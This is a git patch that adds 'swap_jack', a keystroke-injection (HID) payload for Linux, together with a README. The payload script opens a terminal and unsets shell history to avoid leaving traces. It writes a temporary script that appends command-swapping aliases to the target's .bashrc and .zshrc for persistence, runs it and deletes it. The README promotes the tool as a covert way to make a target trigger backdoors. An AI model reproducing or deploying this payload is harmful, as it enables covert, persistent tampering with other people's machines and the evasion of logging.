From f2f211c7e8a777b5728b871196ef468f6bead8d8 Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Sun, 9 Jul 2023 20:02:19 +0530 Subject: [PATCH] uploading swap_jack payload MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Simple yet Powerful payload which can be used to replace one command with another on target’s system. swap_jack gives your target capability to trigger backdoors for you. --- .../library/execution/swap_jack/README.md | 25 +++++++++++++++++ .../library/execution/swap_jack/payload.txt | 28 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 payloads/library/execution/swap_jack/README.md create mode 100644 payloads/library/execution/swap_jack/payload.txt diff --git a/payloads/library/execution/swap_jack/README.md b/payloads/library/execution/swap_jack/README.md new file mode 100644 index 0000000..7407a99 --- /dev/null +++ b/payloads/library/execution/swap_jack/README.md @@ -0,0 +1,25 @@ +## About: +* Title: swap_jack +* Description: swap_jack, simple yet powerful payload which can be used to replace one command with another on target's system. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Execution. +* Target: Unix-like operating systems. +* Attackmodes: HID, Storage. + +## swap_jack: Simple yet Powerful payload which can be used to replace one command with another on target's system. swap_jack gives your target capability to trigger backdoors for you. + +### Features: +1. Swap commands/Execute scripts covertly. +2. Persistent. +3. Can swap multiple commands. +4. Makes your target run commands/script for you. + +### Usage: +* To swap custom commands make following changes at line `18` in `payload.sh`: +* Default swaped commands: `swap_array='alias ls=\"du\" \\n alias cd=\"dh\" \\n alias cat=\"lsblk\"'`. +* Example: Swapping `pwd` command with `find`: +* Add entry seperated by `\\n` to the line `18`: `swap_array='alias ls=\"du\" \\n alias cd=\"dh\" \\n alias cat=\"lsblk\"' \\n alias pwd=\"find\"` + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/execution/swap_jack/payload.txt b/payloads/library/execution/swap_jack/payload.txt new file mode 100644 index 0000000..fe66c53 --- /dev/null +++ b/payloads/library/execution/swap_jack/payload.txt @@ -0,0 +1,28 @@ +REM Title: swap_jack +REM Description: swap_jack, simple yet powerful payload which can be used to replace one command with another on target’s system. +REM AUTHOR: drapl0n +REM Version: 1.0 +REM Category: Execution. +REM Target: GNU/Linux. +REM Attackmodes: HID. + +DELAY 2000 +CTRL ALT t +DELAY 1900 +STRING unset HISTFILE +ENTER +DELAY 200 +STRING echo -e "#\!/bin/bash\n" > /tmp/sys +ENTER +DELAY 200 +STRING echo -e "swap_array='alias ls=\"du\" \\nalias cd=\"df\" \\nalias cat=\"lsblk\"'" >> /tmp/sys +ENTER +DELAY 200 +STRING echo -e "\n\n\ls -a ~/ | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"\$swap_array\" >> ~/.zshrc\nfi\n\nls -a ~/ | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"\$swap_array\" >> ~/.bashrc\nfi" >> /tmp/sys +ENTER +DELAY 200 +STRING chmod +x /tmp/sys +ENTER +DELAY 200 +STRING /tmp/./sys && rm /tmp/sys && exit +ENTER